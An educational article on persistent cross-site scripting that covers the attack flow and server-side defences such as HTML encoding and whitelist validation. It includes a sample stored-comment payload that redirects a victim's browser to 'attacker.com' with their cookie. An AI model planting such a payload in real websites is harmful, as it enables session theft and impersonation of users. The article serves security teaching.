Persistent Cross Site Scripting (p-XSS)
Cross Site Scripting (XSS) is a dangerously common code injection attack that allows an attacker to execute malicious JavaScript code in a victim’s browser. What makes XSS so potent is that that attacker does not need to target a user individually, but instead targets a vulnerability in a website that victims visit. The attack results in the legitimate website delivering the malicious JavaScript to victims browser appearing as legitimate code that is part of the website. This attack bypasses your browser’s same-origin policy as the code appears to originate from the legit website.
So what makes the ability to execute JavaScript so dangerous since JavaScript by default runs in a restricted environment that has extremely limited access to the user’s files and operating system. In fact, if you opened up your browser’s JavaScript console (F12) and attempted to execute whatever JavaScript you wanted, you would be hard pressed to cause any damage to your computer. The main issue with JavaScript is not damage to a victim’s computer, but instead its ability to steal personal information.
Cookie Theft
The attacker can access the victim’s cookies associated with the website using document.cookie, send them to his own server, and use them to extract sensitive information like session IDs. A stolen cookie can even be used to impersonate the user and gain access to restricted areas.
KeyLogging
The attacker can register a keyboard event listener using addEventListener and then send all of the user’s keystrokes to his own server, potentially recording sensitive information such as passwords and credit card numbers.
Phishing
The attacker can insert a fake login form into the page, set the form’s action attribute to target his own server, and then trick the user into submitting sensitive information such as login information .
Although this is not an exhaustive list of potential exploits that malicious JavaScript can perform, all possible attacks are executed in the context of the website. This means that the JavaScript being injected is treated like any other script from that website: it has access to the victim’s data for that website and the host name shown in the URL will be that of the website, making it almost impossible to identify if an attack is taking place.
The next obvious question is how the malicious JavaScript gets injected in the first place. Although there are a few methods of injecting the code, the most common, and the one we will discuss here is known as persistent XSS. (Other methods include Reflective and DOM-based that you can read about here). Persistent XSS gets its name from the fact that the malicious code is stored in the legitimate website’s internal database. This can be done by placing the malicious code in comments, blog posts, or even tweets. Essentially any form that accepts user text input is a possible Persistent XSS attack vector.
Examples of Persistent XSS
For those of you unfamiliar with JavaScript and HTML syntax, HTML is a tag based language meaning that elements in a web page are distinguished by their tag. <a>
tags indicated links, <p>
tags indicate paragraph style text, and the one we are interested is <script>
tags. These tags denote JavaScript code and when the browser comes across a <script>
tag it will know to execute whatever code is in that tag.
A possible attack flow may look like the following:
The attacker crafts some especially devious JavaScript code and posts it to a website’s comment board. (The example here will send the user’s cookie to the attacker’s server).
POST "http://website/post-comment", body{"<script>window.location='http://attacker.com/?cookie='+document.cookie</script>}
The website’s database will now store the attacker’s script as a comment.When the user tries to view the comments, the web server will send back the list of comments, but because the attacker’s comment is interpreted by the browser as a script and not just ordinary plain text, it will execute the JavaScript in the script tag.
Latest Comment: "<script>window.location='http://attacker.com/?cookie='+document.cookie</script>"
When the user visits the websites (views comments) the server will send back the database of comments including the comment containing the malicious JavaScript. When the browser is reading the html tags, it will come across the script tag of the attacker’s comment and instead of creating it as plain-text like the rest of the comments, the browser will interpret the comment as JavaScript and execute the code just like it would any other legitimate code from the website.
<html>
<h1> Previous Comment: </h1>
Sandwiches are delicious
<h1> Latest Comment: </h1>
<script>
window.location='http://attacker.com/?cookie='+document.cookie
</script>
</html>
The browser executes the code and sends a get request to the attacker’s server with the user’s cookie. The attacker can then use the cookie to determine personal data and/or impersonate the user at the legitimate site.
GET "http://attacker.com/?cookie=user-cookie"
This one example using <script>
tags does no preclude any other methods of code injection. Below is a list of the most common contexts in a web page that if not handles correctly can be interpreted as malicious code. Note that for each of these contexts, if the user input is carefully crafted it can easily be turned into malicious code.
Persistent XSS Mitigation
Server-Side
For persistent XSS Mitigation, a web application needs to secure all input handling. This can be done in any language supported by the server and should require no interaction on the client side.
There are two primary ways to secure user input to prevent XSS attacks. The first method is Encoding. Encoding is the act of escaping user input so that the browser interprets it only as data, not as code. The most recognizable type of encoding in web development is HTML escaping, which converts characters like < and > into < and >, respectively. The following pseudocode is an example of how user input could be encoded using HTML escaping and then inserted into a page by a server-side script:
print “<html>”
print “Latest comment: “
print encodeHtml(userInput)
print “</html>”
If the user input were the string <script>
…</script>
, the resulting HTML would be as follows:
<html>
Latest comment:
<script>…</script>
</html>
By removing special characters that denote code segments, the result is that the the browser will interpret the user input solely as data (plain-text) and not as code. Although the user will not notice a difference visually, this will preclude all types of code injection into user form fields except for HTML addresses that require special characters. Since an HTML address is not plain text but needs to be a hyperlink. In this situation, encoding must be complimented with validation, which is explained next.
A second and equally valid mitigation step is known as Validation. Validation is the act of filtering user input so that all malicious parts of it are removed, without necessarily removing all code in it. One of the most recognizable types of validation in web development is allowing some HTML elements (such as <em>
and <strong>
) but disallowing others (such as <script>
). This functions as a two step process of categorization and processing.
The categorization step can either be handled through a blacklist or a whitelist. At first glace it may seem obvious to use a blacklist to filter out certain words or character combinations that can be used to exploit XSS. Under closer examination blacklisting has drawbacks in both staleness (requires constant updates to stay on top of new vulnerabilities/features) and complexity (JavaScript can be passed as: javascript, Javascript, or & #106;avascript). As a result whitelisting is the preferred method of classification as it is simple (only allow specific patters the server is prepared to handle) and it has longevity (new vulnerabilities will not be on the whitelist as they are indeed new)
The processing step will either reject the input as the result of the categorization or sanitize it. Rejection is obvious, and sanitation removes unsavory parts of the user input (examples include removing hyphens from phone numbers, or removing characters like < and >)
Client-Side
As this attack injects code that appears native to the website, there are no mitigation a client can take aside from inspecting each bit of incoming JavaScript code something that is tedious and best reserved for a Web Application Filter appliance.